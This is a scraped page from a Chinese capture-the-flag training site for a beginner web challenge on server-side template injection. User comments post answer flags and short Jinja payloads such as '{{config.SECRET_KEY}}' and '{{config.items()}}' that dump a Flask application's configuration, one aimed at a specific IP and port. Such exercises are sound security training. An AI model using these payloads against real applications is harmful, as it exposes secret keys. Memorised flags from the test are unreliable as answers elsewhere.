Simple_SSTI_1WEB 未解决

分数: 5 金币: 2
题目作者: valecalida
一  血: dotast
一血奖励: 2金币
解  决: 29025
提  示:
描  述:
Simple_SSTI_1
评论
ww1539755 3年前

flag{5a55f07138eef6d7719584018fb21aa4

回复 0

Elikes 3年前

为什么是config?

回复 0

哒哒哒哒 3年前

为什么是config啊

回复 0

行走的五花肉 3年前

flag{a380d84667198e9595af337cc6e37c40}

回复 0

maniubi12212 3年前

http://114.67.175.224:11449/?flag={{config.SECRET_KEY}}

回复 4

bigbox1 3年前

?flag={{config.items()}}

回复 2

kaif 3年前

/?flag={{config.SECRET_KEY}}

回复 1

tqn0312 3年前

这是要干什么啊,一脸懵逼

回复 1
RcookieCookie 3年前

flask模板里有一个重要的配置变量叫SECRET_KEY,用注入的方法获取到这个变量的值就可以了。SSTI的意思是模板注入

回复 0

joec 3年前

6f12b67d0c6fb7c61136e12e876a5ccc

回复 0

DK2021 3年前

flag{fb6d9d0fae960a37d270e86bd0e18351}

回复 0

WriteUp

image
valecalida

5 金币

评分(51)

解题动态

厌弃. 攻破了该题 1天前
香克斯呀 攻破了该题 2天前
LLawliet 攻破了该题 2天前
chenlinXdb 攻破了该题 4天前
CTF-大王 攻破了该题 5天前
青春6666 攻破了该题 7天前
wengun 攻破了该题 7天前
cxkkammt 攻破了该题 7天前
这个昵称已存在 攻破了该题 8天前
EvinZe 攻破了该题 8天前
我只有两题不会 攻破了该题 8天前
星宇Sec 攻破了该题 8天前
mystery 攻破了该题 12天前
__tian__ 攻破了该题 12天前
gysbfff 攻破了该题 12天前
ItsAllOver 攻破了该题 12天前
hzydy0_0 攻破了该题 16天前
Fredjoker 攻破了该题 17天前
CyberX 攻破了该题 17天前
xwm 攻破了该题 18天前
问题反馈